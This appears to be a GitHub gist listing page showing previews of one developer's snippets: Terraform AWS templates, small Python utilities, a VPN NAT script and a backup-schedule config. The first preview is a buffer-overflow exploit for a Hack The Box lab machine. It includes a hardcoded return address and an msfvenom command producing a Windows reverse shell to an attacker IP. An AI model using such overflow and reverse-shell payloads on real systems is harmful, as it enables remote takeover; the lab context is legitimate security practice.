Skip to content

Instantly share code, notes, and snippets.

Avatar

David Hamann davidhamann

View GitHub Profile
@davidhamann
davidhamann / htb_buff_exploit.py
Created Nov 21, 2020
Exploit for the hack the box "buff" machine
View htb_buff_exploit.py
import socket
HOST, PORT = '127.0.0.1', 8888
def build(size, offset):
junk = b'A' * offset
eip = b'\xe1\x52\xd6\x68' # 0x68d652e1
# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.28 LPORT=80 -b '\x00' -f py
@davidhamann
davidhamann / main.tf
Created May 30, 2020
From my dotfmp talk: terraform simple starter template for "FMS For Linux (Preview – not for production)" on AWS; setup done only via remote-exec
View main.tf
variable "provider_profile" { type = string }
variable "provider_region" { type = string }
variable "instance_type" { type = string }
variable "ssh_source_ips" { type = list(string) }
variable "ami_id" { type = string }
variable "key" { type = tuple([string, string]) }
variable "dns_name" { type = string }
variable "zone_id" { type = string }
@davidhamann
davidhamann / main.tf
Last active Jun 8, 2020
Sample terraform config for blog post
View main.tf
variable "region" { type = string }
variable "ssh_source_ips" { type = list(string) } # list of CIDR blocks
variable "ami_owner_id" { type = string }
variable "key" { type = tuple([string, string]) } # key_name and path to local private key
provider "aws" {
profile = "terraform"
region = var.region
}
@davidhamann
davidhamann / handle_fms_error.py
Created Jun 25, 2018
How to handle FMS errors in python-fmrest.
View handle_fms_error.py
import fmrest
from fmrest.exceptions import FileMakerError
fms = fmrest.Server('https://<some host>',
user='admin',
password='admin',
database='Planets',
layout='Planets',
)
@davidhamann
davidhamann / captcha_solver.py
Created Dec 5, 2017
just for fun captcha solver for code challenge
View captcha_solver.py
def solve_captcha(sequence):
return sum(
int(num) for i, num in enumerate(sequence) if num == sequence[(i+1) % len(sequence)]
)
assert solve_captcha('1122') == 3
assert solve_captcha('1111') == 4
assert solve_captcha('1234') == 0
assert solve_captcha('91212129') == 9
@davidhamann
davidhamann / switch_vscode_theme.py
Last active May 20, 2019
Quick and dirty way to switch vscode theme between light and dark. Put it into crontab for auto switch day/night.
View switch_vscode_theme.py
#!/usr/bin/env python
import json
path = '/Users/your_user/Library/Application Support/Code/User/settings.json'
theme_day = 'Default Light+'
theme_night = 'Default Dark+'
with open(path, 'r') as settings_file:
data = json.load(settings_file)
data['workbench.colorTheme'] = theme_day if data['workbench.colorTheme'] == theme_night else theme_night
@davidhamann
davidhamann / natvpn.sh
Last active Apr 13, 2017
Forward VPN traffic on macOS >=10.11; Create nat-rules load file first. Then, from other Mac, set gateway address to the Mac with the VPN running. Et voilà!
View natvpn.sh
#!/bin/sh
sysctl -w net.inet.ip.forwarding=1
sysctl -w net.inet.ip.fw.enable=1
pfctl -f ./nat-rules -e
# nat-rules could look like this:
# nat on utun0 from en0:network to any -> (utun0)
View dbs_config.xml (schedules)
<keys name="Schedules">
<keys name="1">
<key name="Index" type="integer">1</key>
<key name="Name" type="string">backup_daily_1am</key>
<key name="LastRun" type="string">2015-11-27 01:00:00</key>
<key name="NextRun" type="string">2015-11-28 01:00:00</key>
<key name="CreationDate" type="string">2015-05-22 15:06:00</key>
<key name="StartDate" type="string">2015-05-22 01:00:00</key>
<key name="EndDate" type="string">15:06:00</key>
<key name="EnableEndDate" type="integer">0</key>